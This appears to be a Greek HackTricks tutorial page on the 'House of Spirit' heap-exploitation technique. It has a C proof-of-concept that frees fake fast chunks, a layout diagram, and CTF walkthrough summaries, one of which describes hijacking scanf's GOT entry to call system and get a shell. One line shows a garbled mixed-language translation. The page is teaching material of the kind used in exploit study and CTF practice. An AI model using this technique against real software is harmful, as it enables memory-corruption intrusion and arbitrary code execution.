House of Spirit
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Code
House of Spirit
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
}
Στόχος
- Να είναι δυνατή η προσθήκη μιας διεύθυνσης στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή της.
Απαιτήσεις
- Αυτή η επίθεση απαιτεί από τον επιτιθέμενο να είναι σε θέση να δημιουργήσει μερικά ψεύτικα fast chunks που να υποδεικνύουν σωστά την τιμή μεγέθους τους και στη συνέχεια να είναι σε θέση να απελευθερώσει το πρώτο ψεύτικο chunk ώστε να εισέλθει στο bin.
Επίθεση
- Δημιουργήστε ψεύτικα chunks που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα chunks που να υποδεικνύουν στις σωστές θέσεις τα σωστά μεγέθη.
- Κά somehow manage να απελευθερώσετε το πρώτο ψεύτικο chunk ώστε να εισέλθει στο fast ή tcache bin και στη συνέχεια να εκχωρηθεί για να αντικαταστήσει αυτή τη διεύθυνση.
Ο κώδικας από guyinatuxedo είναι εξαιρετικός για να κατανοήσετε την επίθεση. Αν και αυτό το σχήμα από τον κώδικα το συνοψίζει αρκετά καλά:
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
note
Σημειώστε ότι είναι απαραίτητο να δημιουργηθεί το δεύτερο κομμάτι για να παρακαμφθούν ορισμένοι έλεγχοι εγκυρότητας.
Παραδείγματα
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: Μέσω μιας υπερχείλισης είναι δυνατόν να αλλάξει ένας δείκτης ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση libc μέσω της ενέργειας ανάγνωσης του CTF
-
House of Spirit: Εκμεταλλευόμενοι έναν μετρητή που μετρά τον αριθμό των "τουφεκιών", είναι δυνατόν να παραχθεί ένα ψεύτικο μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενοι ένα "μήνυμα" είναι δυνατόν να παραποιηθεί το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενοι μια υπερχείλιση είναι δυνατόν να αλλάξει ένας δείκτης που πρόκειται να απελευθερωθεί ώστε το πρώτο ψεύτικο κομμάτι να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατόν να κάνουμε αυτό να δείχνει στην είσοδο
scanf
μέσα στον πίνακα GOT, ώστε να μπορούμε να το αντικαταστήσουμε με τη διεύθυνση του system.
Την επόμενη φορά που θα κληθεί τοscanf
, μπορούμε να στείλουμε την είσοδο"/bin/sh"
και να αποκτήσουμε ένα shell. -
Glibc leak: Μη αρχικοποιημένος buffer στο stack.
-
House of Spirit: Μπορούμε να τροποποιήσουμε τον πρώτο δείκτη ενός παγκόσμιου πίνακα δεικτών heap. Με μια μόνο τροποποίηση byte, χρησιμοποιούμε
free
σε ένα ψεύτικο κομμάτι μέσα σε ένα έγκυρο κομμάτι, έτσι ώστε να προκύψει μια κατάσταση επικαλυπτόμενων κομματιών μετά την εκ νέου εκχώρηση. Με αυτό, μια απλή επίθεση δηλητηρίασης Tcache λειτουργεί για να αποκτήσουμε μια αυθαίρετη γραφή.
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.